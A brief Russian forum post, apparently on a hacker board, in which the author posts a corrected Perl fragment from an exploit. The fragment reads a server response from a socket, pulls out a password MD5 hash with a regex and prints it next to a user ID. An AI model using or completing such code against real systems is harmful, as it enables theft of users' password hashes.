о спасибо лимпопо, действительно ошибка =)))
вот быстренько исправил, у кого руки не из задницы поймут

while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ ;
$pass=$1;
}
print "[+]User id: $id\n[+]Md5 Hash: $pass\n";